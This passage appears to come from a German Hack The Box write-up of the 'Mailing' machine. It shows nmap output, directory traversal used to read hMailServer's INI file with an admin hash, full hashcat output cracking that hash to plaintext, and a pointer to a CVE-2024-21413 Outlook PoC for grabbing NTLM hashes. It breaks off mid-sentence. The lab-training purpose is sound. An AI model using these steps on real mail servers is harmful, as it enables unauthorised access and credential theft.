cpe:\u002Fo:microsoft:windows\n",[34,2472,2474],{"class":36,"line":2473},171,[34,2475,2477],{"emptyLinePlaceholder":2476},true,"\n",[34,2479,2481,2483,2486],{"class":36,"line":2480},172,[34,2482,849],{"class":40},[34,2484,2485],{"class":44}," script",[34,2487,2488],{"class":44}," results:\n",[34,2490,2492,2494,2497],{"class":36,"line":2491},173,[34,2493,971],{"class":970},[34,2495,2496],{"class":40}," p2p-conficker:",[34,2498,1101],{"class":95},[34,2500,2502,2504,2507,2509,2512,2515],{"class":36,"line":2501},174,[34,2503,971],{"class":970},[34,2505,2506],{"class":40},"   Checking",[34,2508,120],{"class":44},[34,2510,2511],{"class":44}," Conficker.C",[34,2513,2514],{"class":44}," or",[34,2516,2517],{"class":44}," higher...\n",[34,2519,2521,2523,2526,2528,2531,2534,2537,2540],{"class":36,"line":2520},175,[34,2522,971],{"class":970},[34,2524,2525],{"class":40},"   Check",[34,2527,148],{"class":48},[34,2529,2530],{"class":95}," (port ",[34,2532,2533],{"class":44},"53881\u002Ftcp",[34,2535,2536],{"class":95},"): CLEAN (",[34,2538,2539],{"class":40},"Timeout",[34,2541,349],{"class":95},[34,2543,2545,2547,2549,2551,2553,2556,2558,2560],{"class":36,"line":2544},176,[34,2546,971],{"class":970},[34,2548,2525],{"class":40},[34,2550,203],{"class":48},[34,2552,2530],{"class":95},[34,2554,2555],{"class":44},"33297\u002Ftcp",[34,2557,2536],{"class":95},[34,2559,2539],{"class":40},[34,2561,349],{"class":95},[34,2563,2565,2567,2569,2571,2573,2576,2578,2580],{"class":36,"line":2564},177,[34,2566,971],{"class":970},[34,2568,2525],{"class":40},[34,2570,247],{"class":48},[34,2572,2530],{"class":95},[34,2574,2575],{"class":44},"52444\u002Fudp",[34,2577,2536],{"class":95},[34,2579,2539],{"class":40},[34,2581,349],{"class":95},[34,2583,2585,2587,2589,2592,2594,2597,2599,2601],{"class":36,"line":2584},178,[34,2586,971],{"class":970},[34,2588,2525],{"class":40},[34,2590,2591],{"class":48}," 4",[34,2593,2530],{"class":95},[34,2595,2596],{"class":44},"33397\u002Fudp",[34,2598,2536],{"class":95},[34,2600,2539],{"class":40},[34,2602,349],{"class":95},[34,2604,2606,2608,2610,2613,2616,2619,2622,2625,2627,2630,2632,2634,2636],{"class":36,"line":2605},179,[34,2607,971],{"class":970},[34,2609,1003],{"class":40},[34,2611,2612],{"class":44},"  0\u002F4",[34,2614,2615],{"class":44}," checks",[34,2617,2618],{"class":44}," are",[34,2620,2621],{"class":44}," positive:",[34,2623,2624],{"class":44}," Host",[34,2626,852],{"class":44},[34,2628,2629],{"class":44}," CLEAN",[34,2631,2514],{"class":44},[34,2633,315],{"class":44},[34,2635,2618],{"class":44},[34,2637,2638],{"class":44}," blocked\n",[34,2640,2642,2644,2647],{"class":36,"line":2641},180,[34,2643,971],{"class":970},[34,2645,2646],{"class":40},"_clock-skew:",[34,2648,2649],{"class":44}," 0s\n",[34,2651,2653,2655,2658],{"class":36,"line":2652},181,[34,2654,971],{"class":970},[34,2656,2657],{"class":40}," smb2-security-mode:",[34,2659,1101],{"class":95},[34,2661,2663,2665,2668],{"class":36,"line":2662},182,[34,2664,971],{"class":970},[34,2666,2667],{"class":40},"   311:",[34,2669,1101],{"class":95},[34,2671,2673,2675,2677,2680,2683,2686,2689,2691],{"class":36,"line":2672},183,[34,2674,971],{"class":970},[34,2676,1003],{"class":40},[34,2678,2679],{"class":44},"    Message",[34,2681,2682],{"class":44}," signing",[34,2684,2685],{"class":44}," enabled",[34,2687,2688],{"class":44}," but",[34,2690,1683],{"class":44},[34,2692,2693],{"class":44}," required\n",[34,2695,2697,2699,2702],{"class":36,"line":2696},184,[34,2698,971],{"class":970},[34,2700,2701],{"class":40}," smb2-time:",[34,2703,1101],{"class":95},[34,2705,2707,2709,2712],{"class":36,"line":2706},185,[34,2708,971],{"class":970},[34,2710,2711],{"class":40},"   date:",[34,2713,2714],{"class":44}," 2024-06-23T12:31:29\n",[34,2716,2718,2720,2722,2725],{"class":36,"line":2717},186,[34,2719,971],{"class":970},[34,2721,1003],{"class":40},[34,2723,2724],{"class":44},"  start_date:",[34,2726,2727],{"class":44}," N\u002FA\n",[34,2729,2731],{"class":36,"line":2730},187,[34,2732,2477],{"emptyLinePlaceholder":2476},[34,2734,2736,2738,2740],{"class":36,"line":2735},188,[34,2737,108],{"class":40},[34,2739,131],{"class":44},[34,2741,2742],{"class":44}," Post-scanning.\n",[34,2744,2746,2748,2750,2752,2754,2756,2758],{"class":36,"line":2745},189,[34,2747,108],{"class":40},[34,2749,142],{"class":44},[34,2751,145],{"class":44},[34,2753,148],{"class":48},[34,2755,151],{"class":95},[34,2757,154],{"class":48},[34,2759,157],{"class":95},[34,2761,2763,2765,2767,2769],{"class":36,"line":2762},190,[34,2764,163],{"class":40},[34,2766,166],{"class":44},[34,2768,169],{"class":44},[34,2770,767],{"class":44},[34,2772,2774,2776,2778,2780,2782,2784],{"class":36,"line":2773},191,[34,2775,178],{"class":40},[34,2777,166],{"class":44},[34,2779,169],{"class":44},[34,2781,733],{"class":44},[34,2783,188],{"class":44},[34,2785,191],{"class":44},[34,2787,2789,2791,2793,2795,2797,2799,2801],{"class":36,"line":2788},192,[34,2790,108],{"class":40},[34,2792,142],{"class":44},[34,2794,145],{"class":44},[34,2796,203],{"class":48},[34,2798,151],{"class":95},[34,2800,154],{"class":48},[34,2802,157],{"class":95},[34,2804,2806,2808,2810,2812],{"class":36,"line":2805},193,[34,2807,163],{"class":40},[34,2809,166],{"class":44},[34,2811,169],{"class":44},[34,2813,767],{"class":44},[34,2815,2817,2819,2821,2823,2825,2827],{"class":36,"line":2816},194,[34,2818,178],{"class":40},[34,2820,166],{"class":44},[34,2822,169],{"class":44},[34,2824,733],{"class":44},[34,2826,188],{"class":44},[34,2828,191],{"class":44},[34,2830,2832,2834,2836,2838,2840,2842,2844],{"class":36,"line":2831},195,[34,2833,108],{"class":40},[34,2835,142],{"class":44},[34,2837,145],{"class":44},[34,2839,247],{"class":48},[34,2841,151],{"class":95},[34,2843,154],{"class":48},[34,2845,157],{"class":95},[34,2847,2849,2851,2853,2855],{"class":36,"line":2848},196,[34,2850,163],{"class":40},[34,2852,166],{"class":44},[34,2854,169],{"class":44},[34,2856,767],{"class":44},[34,2858,2860,2862,2864,2866,2868,2870],{"class":36,"line":2859},197,[34,2861,178],{"class":40},[34,2863,166],{"class":44},[34,2865,169],{"class":44},[34,2867,733],{"class":44},[34,2869,188],{"class":44},[34,2871,191],{"class":44},[34,2873,2875,2878,2881,2884,2887],{"class":36,"line":2874},198,[34,2876,2877],{"class":40},"Read",[34,2879,2880],{"class":44}," data",[34,2882,2883],{"class":44}," files",[34,2885,2886],{"class":44}," from:",[34,2888,2889],{"class":44}," \u002Fusr\u002Fbin\u002F..\u002Fshare\u002Fnmap\n",[34,2891,2893,2895,2898,2901,2904,2906,2909,2912,2915,2917,2920],{"class":36,"line":2892},199,[34,2894,2454],{"class":40},[34,2896,2897],{"class":44}," detection",[34,2899,2900],{"class":44}," performed.",[34,2902,2903],{"class":44}," Please",[34,2905,837],{"class":44},[34,2907,2908],{"class":44}," any",[34,2910,2911],{"class":44}," incorrect",[34,2913,2914],{"class":44}," results",[34,2916,169],{"class":44},[34,2918,2919],{"class":44}," https:\u002F\u002Fnmap.org\u002Fsubmit\u002F",[34,2921,2922],{"class":44}," .\n",[34,2924,2926,2928,2931,2933,2936,2939,2941,2944,2947],{"class":36,"line":2925},200,[34,2927,832],{"class":40},[34,2929,2930],{"class":44}," done:",[34,2932,148],{"class":48},[34,2934,2935],{"class":44}," IP",[34,2937,2938],{"class":44}," address",[34,2940,340],{"class":95},[34,2942,2943],{"class":44},"host",[34,2945,2946],{"class":44}," up",[34,2948,2949],{"class":95},") scanned in 66.58 seconds\n",[34,2951,2953,2956,2959,2962,2965,2968,2970,2973,2976],{"class":36,"line":2952},201,[34,2954,2955],{"class":40},"           Raw",[34,2957,2958],{"class":44}," packets",[34,2960,2961],{"class":44}," sent:",[34,2963,2964],{"class":48}," 1995",[34,2966,2967],{"class":95}," (87.756KB) ",[34,2969,971],{"class":970},[34,2971,2972],{"class":40}," Rcvd:",[34,2974,2975],{"class":48}," 12",[34,2977,2978],{"class":95}," (512B)\n",[11,2980,2981],{},"Ich sehe das Port 80 offen ist, versuche also mal die Adresse im Browser aufzurufen. Dort lande ich bei einer Infoseite über einen Mailserver.",[11,2983,2984],{},[17,2985],{"alt":19,"src":2986},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626191209206.webp",[11,2988,2989],{},"Ich habe die nächsten Stunden damit verbracht, die Website zu analysieren. Die Website gibt uns die Info, dass auf dem Server der \"hMailServer\" läuft.\nAuf der Website gibt es eine Installationsanleitung für den Mailaccount, allerdings kam ich damit auch nicht weiter. Ich habe mit Burp Suite ebenfalls ewig viel herumprobiert, bis ich versehentlich festgestellt habe, dass ich mir durch den Webserver sämtliche Daten abrufen lassen kann - sogenanntes Directory Traversal. Hier lassen sich Daten und Pfade abrufen, die dafür eigentlich nicht vorgesehen waren.",[11,2991,2992],{},"Dann habe ich mir die Dokumentation von hMailServer angesehen und folgende Info gefunden:",[11,2994,2995,2998,2999],{},[17,2996],{"alt":19,"src":2997},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626192041878.webp","\nSource: ",[3000,3001,3002],"a",{"href":3002,"rel":3003},"https:\u002F\u002Fwww.hmailserver.com\u002Fdocumentation\u002Flatest\u002F?page=reference_inifilesettings",[3004],"nofollow",[11,3006,3007],{},"Es gibt wohl eine INI-File, also eine Konfigurationsdatei in einem der hMailServer Ordner. Also habe ich wieder ein bisschen recherchiert und herausgefunden, dass die Datei wohl unter \"C:\\Program Files (x86)\\hMailServer\\Bin\" liegt. Ich habe dann also probiert mir die Datei mit Hilfe von Burp Suite anzeigen zu lassen.",[11,3009,3010],{},"Das hat dann tatsächlich auch geklappt. In der INI-File sehen wir auch ein Administratorpasswort, bzw. den Hash davon.",[11,3012,3013],{},[17,3014],{"alt":19,"src":3015},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626192841312.webp",[11,3017,3018],{},"Den habe ich dann mit Hilfe von Hashcat gecracked.",[11,3020,3021],{},[17,3022],{"alt":19,"src":3023},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626193556445.webp",[25,3025,3027],{"className":27,"code":3026,"language":29,"meta":19,"style":19},"┌─[eu-dedivip-1]─[10.10.14.72]─[nobrac@htb-n5zcg6mczv]─[~]\n└──╼ [★]$ hashcat -a 0 -m 0 841bb5acfa6779ae432fd7a4e6600ba7 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\nhashcat (v6.1.1) starting...\n\nOpenCL API (OpenCL 1.2 LINUX) - Platform #1 [Intel(R) Corporation]\n==================================================================\n* Device #1: AMD EPYC 7543 32-Core Processor, 7855\u002F7919 MB (1979 MB allocatable), 4MCU\n\nOpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #2 [The pocl project]\n=============================================================================================================================\n* Device #2: pthread-AMD EPYC 7543 32-Core Processor, skipped\n\nMinimum password length supported by kernel: 0\nMaximum password length supported by kernel: 256\n\nHashes: 1 digests; 1 unique digests, 1 unique salts\nBitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5\u002F13 rotates\nRules: 1\n\nApplicable optimizers applied:\n* Zero-Byte\n* Early-Skip\n* Not-Salted\n* Not-Iterated\n* Single-Hash\n* Single-Salt\n* Raw-Hash\n\nATTENTION! Pure (unoptimized) backend kernels selected.\nUsing pure kernels enables cracking longer passwords but for the price of drastically reduced performance.\nIf you want to switch to optimized backend kernels, append -O to your commandline.\nSee the above message to find out about the exact limits.\n\nWatchdog: Hardware monitoring interface not found on your system.\nWatchdog: Temperature abort trigger disabled.\n\nHost memory required for this attack: 65 MB\n\nDictionary cache building \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt: 33553434 bytes (23.9Dictionary cache built:\n* Filename..: \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n* Passwords.: 14344392\n* Bytes.....: 139921507\n* Keyspace..: 14344385\n* Runtime...: 1 sec\n\n841bb5acfa6779ae432fd7a4e6600ba7:homenetworkingadministrator\n                                                 \nSession..........: hashcat\nStatus...........: Cracked\nHash.Name........: MD5\nHash.Target......: 841bb5acfa6779ae432fd7a4e6600ba7\nTime.Started.....: Sun Jun 23 13:54:09 2024 (2 secs)\nTime.Estimated...: Sun Jun 23 13:54:11 2024 (0 secs)\nGuess.Base.......: File (\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt)\nGuess.Queue......: 1\u002F1 (100.00%)\nSpeed.#1.........:  5537.4 kH\u002Fs (0.19ms) @ Accel:1024 Loops:1 Thr:1 Vec:8\nRecovered........: 1\u002F1 (100.00%) Digests\nProgress.........: 7565312\u002F14344385 (52.74%)\nRejected.........: 0\u002F7565312 (0.00%)\nRestore.Point....: 7561216\u002F14344385 (52.71%)\nRestore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1\nCandidates.#1....: homie g 1 -> holmzy\n\nStarted: Sun Jun 23 13:53:49 2024\nStopped: Sun Jun 23 13:54:12 2024\n",[31,3028,3029,3034,3041,3049,3053,3076,3081,3092,3096,3138,3143,3152,3156,3179,3197,3201,3228,3263,3271,3275,3286,3293,3300,3307,3314,3321,3328,3335,3339,3350,3395,3437,3469,3473,3499,3515,3519,3543,3547,3576,3583,3590,3597,3604,3611,3615,3620,3625,3633,3641,3649,3657,3685,3708,3719,3730,3744,3754,3765,3776,3787,3801,3823,3827,3844],{"__ignoreMap":19},[34,3030,3031],{"class":36,"line":37},[34,3032,3033],{"class":40},"┌─[eu-dedivip-1]─[10.10.14.72]─[nobrac@htb-n5zcg6mczv]─[~]\n",[34,3035,3036,3038],{"class":36,"line":73},[34,3037,76],{"class":40},[34,3039,3040],{"class":95}," [★]$ hashcat -a 0 -m 0 841bb5acfa6779ae432fd7a4e6600ba7 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n",[34,3042,3043,3046],{"class":36,"line":83},[34,3044,3045],{"class":40},"hashcat",[34,3047,3048],{"class":95}," (v6.1.1) starting...\n",[34,3050,3051],{"class":36,"line":105},[34,3052,2477],{"emptyLinePlaceholder":2476},[34,3054,3055,3058,3061,3064,3067,3070,3073],{"class":36,"line":126},[34,3056,3057],{"class":40},"OpenCL",[34,3059,3060],{"class":44}," API",[34,3062,3063],{"class":95}," (OpenCL ",[34,3065,3066],{"class":48},"1.2",[34,3068,3069],{"class":44}," LINUX",[34,3071,3072],{"class":95},") - Platform ",[34,3074,3075],{"class":79},"#1 [Intel(R) Corporation]\n",[34,3077,3078],{"class":36,"line":137},[34,3079,3080],{"class":44},"==================================================================\n",[34,3082,3083,3086,3089],{"class":36,"line":160},[34,3084,3085],{"class":970},"*",[34,3087,3088],{"class":95}," Device ",[34,3090,3091],{"class":79},"#1: AMD EPYC 7543 32-Core Processor, 7855\u002F7919 MB (1979 MB allocatable), 4MCU\n",[34,3093,3094],{"class":36,"line":175},[34,3095,2477],{"emptyLinePlaceholder":2476},[34,3097,3098,3100,3102,3104,3106,3109,3112,3115,3118,3121,3124,3127,3130,3133,3135],{"class":36,"line":194},[34,3099,3057],{"class":40},[34,3101,3060],{"class":44},[34,3103,3063],{"class":95},[34,3105,3066],{"class":48},[34,3107,3108],{"class":44}," pocl",[34,3110,3111],{"class":44}," 1.6,",[34,3113,3114],{"class":44}," None+Asserts,",[34,3116,3117],{"class":44}," LLVM",[34,3119,3120],{"class":44}," 9.0.1,",[34,3122,3123],{"class":44}," RELOC,",[34,3125,3126],{"class":44}," SLEEF,",[34,3128,3129],{"class":44}," DISTRO,",[34,3131,3132],{"class":44}," POCL_DEBUG",[34,3134,3072],{"class":95},[34,3136,3137],{"class":79},"#2 [The pocl project]\n",[34,3139,3140],{"class":36,"line":212},[34,3141,3142],{"class":44},"=============================================================================================================================\n",[34,3144,3145,3147,3149],{"class":36,"line":223},[34,3146,3085],{"class":970},[34,3148,3088],{"class":95},[34,3150,3151],{"class":79},"#2: pthread-AMD EPYC 7543 32-Core Processor, skipped\n",[34,3153,3154],{"class":36,"line":238},[34,3155,2477],{"emptyLinePlaceholder":2476},[34,3157,3158,3161,3164,3167,3170,3173,3176],{"class":36,"line":256},[34,3159,3160],{"class":40},"Minimum",[34,3162,3163],{"class":44}," password",[34,3165,3166],{"class":44}," length",[34,3168,3169],{"class":44}," supported",[34,3171,3172],{"class":44}," by",[34,3174,3175],{"class":44}," kernel:",[34,3177,3178],{"class":48}," 0\n",[34,3180,3181,3184,3186,3188,3190,3192,3194],{"class":36,"line":267},[34,3182,3183],{"class":40},"Maximum",[34,3185,3163],{"class":44},[34,3187,3166],{"class":44},[34,3189,3169],{"class":44},[34,3191,3172],{"class":44},[34,3193,3175],{"class":44},[34,3195,3196],{"class":48}," 256\n",[34,3198,3199],{"class":36,"line":282},[34,3200,2477],{"emptyLinePlaceholder":2476},[34,3202,3203,3206,3208,3211,3213,3215,3218,3221,3223,3225],{"class":36,"line":297},[34,3204,3205],{"class":40},"Hashes:",[34,3207,148],{"class":48},[34,3209,3210],{"class":44}," digests",[34,3212,707],{"class":706},[34,3214,148],{"class":40},[34,3216,3217],{"class":44}," unique",[34,3219,3220],{"class":44}," digests,",[34,3222,148],{"class":48},[34,3224,3217],{"class":44},[34,3226,3227],{"class":44}," salts\n",[34,3229,3230,3233,3236,3239,3242,3245,3248,3251,3254,3257,3260],{"class":36,"line":321},[34,3231,3232],{"class":40},"Bitmaps:",[34,3234,3235],{"class":48}," 16",[34,3237,3238],{"class":44}," bits,",[34,3240,3241],{"class":48}," 65536",[34,3243,3244],{"class":44}," entries,",[34,3246,3247],{"class":48}," 0x0000ffff",[34,3249,3250],{"class":44}," mask,",[34,3252,3253],{"class":48}," 262144",[34,3255,3256],{"class":44}," bytes,",[34,3258,3259],{"class":44}," 5\u002F13",[34,3261,3262],{"class":44}," rotates\n",[34,3264,3265,3268],{"class":36,"line":352},[34,3266,3267],{"class":40},"Rules:",[34,3269,3270],{"class":48}," 1\n",[34,3272,3273],{"class":36,"line":369},[34,3274,2477],{"emptyLinePlaceholder":2476},[34,3276,3277,3280,3283],{"class":36,"line":387},[34,3278,3279],{"class":40},"Applicable",[34,3281,3282],{"class":44}," optimizers",[34,3284,3285],{"class":44}," applied:\n",[34,3287,3288,3290],{"class":36,"line":408},[34,3289,3085],{"class":970},[34,3291,3292],{"class":95}," Zero-Byte\n",[34,3294,3295,3297],{"class":36,"line":424},[34,3296,3085],{"class":970},[34,3298,3299],{"class":95}," Early-Skip\n",[34,3301,3302,3304],{"class":36,"line":440},[34,3303,3085],{"class":970},[34,3305,3306],{"class":95}," Not-Salted\n",[34,3308,3309,3311],{"class":36,"line":456},[34,3310,3085],{"class":970},[34,3312,3313],{"class":95}," Not-Iterated\n",[34,3315,3316,3318],{"class":36,"line":472},[34,3317,3085],{"class":970},[34,3319,3320],{"class":95}," Single-Hash\n",[34,3322,3323,3325],{"class":36,"line":488},[34,3324,3085],{"class":970},[34,3326,3327],{"class":95}," Single-Salt\n",[34,3329,3330,3332],{"class":36,"line":504},[34,3331,3085],{"class":970},[34,3333,3334],{"class":95}," Raw-Hash\n",[34,3336,3337],{"class":36,"line":520},[34,3338,2477],{"emptyLinePlaceholder":2476},[34,3340,3341,3344,3347],{"class":36,"line":536},[34,3342,3343],{"class":40},"ATTENTION!",[34,3345,3346],{"class":44}," Pure",[34,3348,3349],{"class":95}," (unoptimized) backend kernels selected.\n",[34,3351,3352,3355,3358,3361,3364,3367,3370,3373,3375,3377,3380,3383,3386,3389,3392],{"class":36,"line":552},[34,3353,3354],{"class":40},"Using",[34,3356,3357],{"class":44}," pure",[34,3359,3360],{"class":44}," kernels",[34,3362,3363],{"class":44}," enables",[34,3365,3366],{"class":44}," cracking",[34,3368,3369],{"class":44}," longer",[34,3371,3372],{"class":44}," passwords",[34,3374,2688],{"class":44},[34,3376,120],{"class":44},[34,3378,3379],{"class":44}," the",[34,3381,3382],{"class":44}," price",[34,3384,3385],{"class":44}," of",[34,3387,3388],{"class":44}," drastically",[34,3390,3391],{"class":44}," reduced",[34,3393,3394],{"class":44}," performance.\n",[34,3396,3397,3400,3403,3406,3409,3412,3414,3417,3420,3423,3426,3429,3431,3434],{"class":36,"line":581},[34,3398,3399],{"class":40},"If",[34,3401,3402],{"class":44}," you",[34,3404,3405],{"class":44}," want",[34,3407,3408],{"class":44}," to",[34,3410,3411],{"class":44}," switch",[34,3413,3408],{"class":44},[34,3415,3416],{"class":44}," optimized",[34,3418,3419],{"class":44}," backend",[34,3421,3422],{"class":44}," kernels,",[34,3424,3425],{"class":44}," append",[34,3427,3428],{"class":48}," -O",[34,3430,3408],{"class":44},[34,3432,3433],{"class":44}," your",[34,3435,3436],{"class":44}," commandline.\n",[34,3438,3439,3442,3444,3447,3450,3452,3455,3458,3461,3463,3466],{"class":36,"line":596},[34,3440,3441],{"class":40},"See",[34,3443,3379],{"class":44},[34,3445,3446],{"class":44}," above",[34,3448,3449],{"class":44}," message",[34,3451,3408],{"class":44},[34,3453,3454],{"class":44}," find",[34,3456,3457],{"class":44}," out",[34,3459,3460],{"class":44}," about",[34,3462,3379],{"class":44},[34,3464,3465],{"class":44}," exact",[34,3467,3468],{"class":44}," limits.\n",[34,3470,3471],{"class":36,"line":614},[34,3472,2477],{"emptyLinePlaceholder":2476},[34,3474,3475,3478,3481,3484,3487,3489,3492,3494,3496],{"class":36,"line":647},[34,3476,3477],{"class":40},"Watchdog:",[34,3479,3480],{"class":44}," Hardware",[34,3482,3483],{"class":44}," monitoring",[34,3485,3486],{"class":44}," interface",[34,3488,1683],{"class":44},[34,3490,3491],{"class":44}," found",[34,3493,402],{"class":44},[34,3495,3433],{"class":44},[34,3497,3498],{"class":44}," system.\n",[34,3500,3501,3503,3506,3509,3512],{"class":36,"line":660},[34,3502,3477],{"class":40},[34,3504,3505],{"class":44}," Temperature",[34,3507,3508],{"class":44}," abort",[34,3510,3511],{"class":44}," trigger",[34,3513,3514],{"class":44}," disabled.\n",[34,3516,3517],{"class":36,"line":677},[34,3518,2477],{"emptyLinePlaceholder":2476},[34,3520,3521,3523,3526,3529,3531,3534,3537,3540],{"class":36,"line":688},[34,3522,849],{"class":40},[34,3524,3525],{"class":44}," memory",[34,3527,3528],{"class":44}," required",[34,3530,120],{"class":44},[34,3532,3533],{"class":44}," this",[34,3535,3536],{"class":44}," attack:",[34,3538,3539],{"class":48}," 65",[34,3541,3542],{"class":44}," MB\n",[34,3544,3545],{"class":36,"line":724},[34,3546,2477],{"emptyLinePlaceholder":2476},[34,3548,3549,3552,3555,3558,3561,3564,3567,3570,3573],{"class":36,"line":741},[34,3550,3551],{"class":40},"Dictionary",[34,3553,3554],{"class":44}," cache",[34,3556,3557],{"class":44}," building",[34,3559,3560],{"class":44}," \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt:",[34,3562,3563],{"class":48}," 33553434",[34,3565,3566],{"class":44}," bytes",[34,3568,3569],{"class":95}," (23.9Dictionary ",[34,3571,3572],{"class":44},"cache",[34,3574,3575],{"class":44}," built:\n",[34,3577,3578,3580],{"class":36,"line":758},[34,3579,3085],{"class":970},[34,3581,3582],{"class":95}," Filename..: \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n",[34,3584,3585,3587],{"class":36,"line":770},[34,3586,3085],{"class":970},[34,3588,3589],{"class":95}," Passwords.: 14344392\n",[34,3591,3592,3594],{"class":36,"line":786},[34,3593,3085],{"class":970},[34,3595,3596],{"class":95}," Bytes.....: 139921507\n",[34,3598,3599,3601],{"class":36,"line":803},[34,3600,3085],{"class":970},[34,3602,3603],{"class":95}," Keyspace..: 14344385\n",[34,3605,3606,3608],{"class":36,"line":814},[34,3607,3085],{"class":970},[34,3609,3610],{"class":95}," Runtime...: 1 sec\n",[34,3612,3613],{"class":36,"line":829},[34,3614,2477],{"emptyLinePlaceholder":2476},[34,3616,3617],{"class":36,"line":846},[34,3618,3619],{"class":40},"841bb5acfa6779ae432fd7a4e6600ba7:homenetworkingadministrator\n",[34,3621,3622],{"class":36,"line":879},[34,3623,3624],{"class":95},"                                                 \n",[34,3626,3627,3630],{"class":36,"line":901},[34,3628,3629],{"class":40},"Session..........:",[34,3631,3632],{"class":44}," hashcat\n",[34,3634,3635,3638],{"class":36,"line":924},[34,3636,3637],{"class":40},"Status...........:",[34,3639,3640],{"class":44}," Cracked\n",[34,3642,3643,3646],{"class":36,"line":942},[34,3644,3645],{"class":40},"Hash.Name........:",[34,3647,3648],{"class":44}," MD5\n",[34,3650,3651,3654],{"class":36,"line":967},[34,3652,3653],{"class":40},"Hash.Target......:",[34,3655,3656],{"class":44}," 841bb5acfa6779ae432fd7a4e6600ba7\n",[34,3658,3659,3662,3665,3668,3671,3674,3677,3680,3683],{"class":36,"line":998},[34,3660,3661],{"class":40},"Time.Started.....:",[34,3663,3664],{"class":44}," Sun",[34,3666,3667],{"class":44}," Jun",[34,3669,3670],{"class":48}," 23",[34,3672,3673],{"class":44}," 13:54:09",[34,3675,3676],{"class":48}," 2024",[34,3678,3679],{"class":95}," (2 ",[34,3681,3682],{"class":44},"secs",[34,3684,349],{"class":95},[34,3686,3687,3690,3692,3694,3696,3699,3701,3704,3706],{"class":36,"line":1042},[34,3688,3689],{"class":40},"Time.Estimated...:",[34,3691,3664],{"class":44},[34,3693,3667],{"class":44},[34,3695,3670],{"class":48},[34,3697,3698],{"class":44}," 13:54:11",[34,3700,3676],{"class":48},[34,3702,3703],{"class":95}," (0 ",[34,3705,3682],{"class":44},[34,3707,349],{"class":95},[34,3709,3710,3713,3716],{"class":36,"line":1071},[34,3711,3712],{"class":40},"Guess.Base.......:",[34,3714,3715],{"class":44}," File",[34,3717,3718],{"class":95}," (\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt)\n",[34,3720,3721,3724,3727],{"class":36,"line":1082},[34,3722,3723],{"class":40},"Guess.Queue......:",[34,3725,3726],{"class":44}," 1\u002F1",[34,3728,3729],{"class":95}," (100.00%)\n",[34,3731,3732,3735,3738,3741],{"class":36,"line":1093},[34,3733,3734],{"class":40},"Speed.#1.........:",[34,3736,3737],{"class":48},"  5537.4",[34,3739,3740],{"class":44}," kH\u002Fs",[34,3742,3743],{"class":95}," (0.19ms) @ Accel:1024 Loops:1 Thr:1 Vec:8\n",[34,3745,3746,3749,3751],{"class":36,"line":1104},[34,3747,3748],{"class":40},"Recovered........:",[34,3750,3726],{"class":44},[34,3752,3753],{"class":95}," (100.00%) Digests\n",[34,3755,3756,3759,3762],{"class":36,"line":1130},[34,3757,3758],{"class":40},"Progress.........:",[34,3760,3761],{"class":44}," 7565312\u002F14344385",[34,3763,3764],{"class":95}," (52.74%)\n",[34,3766,3767,3770,3773],{"class":36,"line":1149},[34,3768,3769],{"class":40},"Rejected.........:",[34,3771,3772],{"class":44}," 0\u002F7565312",[34,3774,3775],{"class":95}," (0.00%)\n",[34,3777,3778,3781,3784],{"class":36,"line":1171},[34,3779,3780],{"class":40},"Restore.Point....:",[34,3782,3783],{"class":44}," 7561216\u002F14344385",[34,3785,3786],{"class":95}," (52.71%)\n",[34,3788,3789,3792,3795,3798],{"class":36,"line":1188},[34,3790,3791],{"class":40},"Restore.Sub.#1...:",[34,3793,3794],{"class":44}," Salt:0",[34,3796,3797],{"class":44}," Amplifier:0-1",[34,3799,3800],{"class":44}," Iteration:0-1\n",[34,3802,3803,3806,3809,3812,3814,3817,3820],{"class":36,"line":1214},[34,3804,3805],{"class":40},"Candidates.#1....:",[34,3807,3808],{"class":44}," homie",[34,3810,3811],{"class":44}," g",[34,3813,148],{"class":48},[34,3815,3816],{"class":95}," -",[34,3818,3819],{"class":970},">",[34,3821,3822],{"class":44}," holmzy\n",[34,3824,3825],{"class":36,"line":1239},[34,3826,2477],{"emptyLinePlaceholder":2476},[34,3828,3829,3832,3834,3836,3838,3841],{"class":36,"line":1261},[34,3830,3831],{"class":40},"Started:",[34,3833,3664],{"class":44},[34,3835,3667],{"class":44},[34,3837,3670],{"class":48},[34,3839,3840],{"class":44}," 13:53:49",[34,3842,3843],{"class":48}," 2024\n",[34,3845,3846,3849,3851,3853,3855,3858],{"class":36,"line":1305},[34,3847,3848],{"class":40},"Stopped:",[34,3850,3664],{"class":44},[34,3852,3667],{"class":44},[34,3854,3670],{"class":48},[34,3856,3857],{"class":44}," 13:54:12",[34,3859,3843],{"class":48},[11,3861,3862],{},"Hier war nun der Zeitpunkt, an welchem ich knapp 2 Tage komplett feststeckte. Mir ist dann spontan ein alter Outlook RCE Exploit eingefallen, welchen ich durch meine Arbeit kannte. Bei diesem Exploit konnte man den NTLM-Hash von einem User abgreifen. Ich hatte keine Ahnung, ob das funktionieren würde, habe es aber einfach mal ausprobiert.",[11,3864,3865,3866],{},"Also habe ich nach dem Exploit und nach einem PoC dafür gesucht.\nIch habe dann folgenden PoC gefunden: ",[3000,3867,3868],{"href":3868,"rel":3869},"https:\u002F\u002Fgithub.com\u002Fxaitax\u002FCVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability",[3004],[11,3871,3872],{},"Den habe ich mir dann heruntergeladen.",[11,3874,3875],{},[17,3876],{"alt":19,"src":3877},"\u002Fimages\u002Fposts\u002Fhack-the-box-mailing\u002Fattachments\u002Fimage-20240626200149456.webp",[11,3879,3880],{},"Und danach 